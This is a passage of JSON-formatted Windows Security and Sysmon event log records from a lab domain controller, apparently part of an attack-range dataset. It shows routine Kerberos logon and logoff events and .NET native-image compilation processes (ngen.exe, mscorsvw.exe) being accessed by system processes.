12:01:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222281,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0xA6FA6\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0xa6fa6","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:01:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222282,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0xA6FA6\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51532\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0xa6fa6","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51532","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:01:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222283,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0xA6FA6\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0xa6fa6","LogonType":"3","EventReceivedTime":"2020-08-07 12:01:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6689,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:23.760\r\nProcessGuid: {90617006-4283-5F2D-0000-0010496A0A00}\r\nProcessId: 1324\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\52c-0\\PresentationFramework.dll\r\nCreationUtcTime: 2020-08-07 12:01:23.760","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:23.760","ProcessGuid":"{90617006-4283-5F2D-0000-0010496A0A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\52c-0\\PresentationFramework.dll","CreationUtcTime":"2020-08-07 12:01:23.760","EventReceivedTime":"2020-08-07 12:01:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6690,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:24.088\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4294-5F2D-0000-001072740A00}\r\nTargetProcessId: 3752\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:24.088","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4294-5F2D-0000-001072740A00}","TargetProcessId":"3752","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6691,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:24.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4294-5F2D-0000-001072740A00}\r\nTargetProcessId: 3752\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:24.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4294-5F2D-0000-001072740A00}","TargetProcessId":"3752","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6692,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:24.104\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4294-5F2D-0000-001072740A00}\r\nTargetProcessId: 3752\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:24.104","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4294-5F2D-0000-001072740A00}","TargetProcessId":"3752","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6693,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:24.150\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425D-5F2D-0000-001004F90900}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:24.150","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425D-5F2D-0000-001004F90900}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6694,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:24.150\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425D-5F2D-0000-001004F90900}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:24.150","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425D-5F2D-0000-001004F90900}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6695,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:24.166\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4294-5F2D-0000-001011780A00}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:24.166","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4294-5F2D-0000-001011780A00}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 